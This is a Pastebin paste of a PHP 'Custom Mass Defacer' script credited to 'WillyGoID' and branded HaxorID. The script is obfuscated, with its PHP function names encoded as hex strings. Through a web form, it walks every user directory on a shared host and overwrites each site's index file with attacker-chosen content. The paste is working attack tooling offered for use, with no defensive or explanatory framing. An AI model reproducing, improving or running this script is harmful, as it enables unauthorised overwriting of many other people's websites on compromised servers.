willysec_id

Custom Mass Defacer

Mar 12th, 2022 (edited)
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.91 KB | None | 0 0
  1. <?php
  2. //WillyGoID, 07 March 2022
  3. $fa = ["6765745f63757272656e745f75736572","66696c655f657869737473", "69735f646972", "6368646972","7363616e646972","66696c655f7075745f636f6e74656e7473", "6d6b646972", "646965", "66696c6574797065", "7374725f7265706c616365", "737472706f73", "61727261795f7368696674", "6578706c6f6465", "7374727472", "7374726c656e", "73747272706f73", "737562737472", "6576616c2829"];
  4. for($i = 0; $i < count($fa); $i++){$f[$i] = hexa($fa[$i]);}
  5. function hexa($str) {$r = "";$len = (strlen($str) - 1);for ($i = 0; $i < $len; $i += 2) {$r .= chr(hexdec($str[$i].$str[$i + 1]));}return $r;}
  6. function strdir($str){return str_replace(array('\\', '//', '%27', '%22'), array('/', '/', '\'', '"'), chop($str));}
  7. $myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);
  8. $myfile = $f[10]($myfile, $f[17]) ? $f[11]($f[12]('(', $myfile)) : $myfile;
  9. define('rootdir', strdir($f[13]($myfile, array(strdir($_SERVER['PHP_SELF']) => '')) . '/'));
  10. $cuser = $f[0]();
  11. $lcuser = $f[14]($cuser);
  12. $lastdir = $f[15](rootdir, $cuser)+$lcuser;
  13. $homedir = $f[16](rootdir, 0, $lastdir);
  14. echo "<title>Custom Mass Defacer - HaxorID</title>";
  15. echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
  16. echo "<body bgcolor='black'><font color='white'><font face='Electrolize'>";
  17. echo "<center><form method='POST'>";
  18. echo "Base Dir : <input type='text' name='home_dir' size='50' value='".$homedir."'><br><br>";
  19. echo "Public_Html : <input type='text' name='public_dir' size='50' placeholder='public_html'><br><br>";
  20. echo "File Name : <input type='text' name='file_name' value='index.php'><br><br>";
  21. echo "Your Index : <br><textarea style='width: 685px; height: 330px;' name='index'>//Put Your Index Here</textarea><br>";
  22. echo "<input type='submit' value='Start'></form></center>";
  23.  
  24. if (isset ($_POST['home_dir']))
  25. {
  26.     $public_dir = $_POST['public_dir'];
  27.         if (!$f[1] ($_POST['home_dir']))
  28.                 $f[7] ($_POST['home_dir']." Not Found !<br>");
  29.  
  30.         if (!$f[2] ($_POST['home_dir']))
  31.                 $f[7] ($_POST['home_dir']." Is Not A Directory !<br>");
  32.  
  33.         @$f[3] ($_POST['home_dir']) or $f[7] ("Cannot Open Directory");
  34.  
  35.         $files = @$f[4] ($_POST['home_dir']) or $f[7] ("oohhh shet<br>");
  36.  
  37.         foreach ($files as $file):
  38.                 if ($file != "." && $file != ".." && @$f[8] ($file) == "dir")
  39.                 {      
  40.                         if($public_dir){
  41.                           if (!$f[2]($_POST['home_dir']."/".$file."/".$public_dir)) {
  42.                             $f[6]($_POST['home_dir']."/".$file."/".$public_dir);}
  43.                         }
  44.                         $index = $_POST['home_dir']."/".$file."/".$public_dir."/".$_POST['file_name'];
  45.                         $index = $f[9]("//","/",$index);
  46.                         if ($f[5] ($index, $_POST['index']))   
  47.                             echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: green'>OK</span><br>";
  48.                 }
  49.         endforeach;
  50. }
  51.  
  52. ?>
Add Comment
Please, Sign In to add comment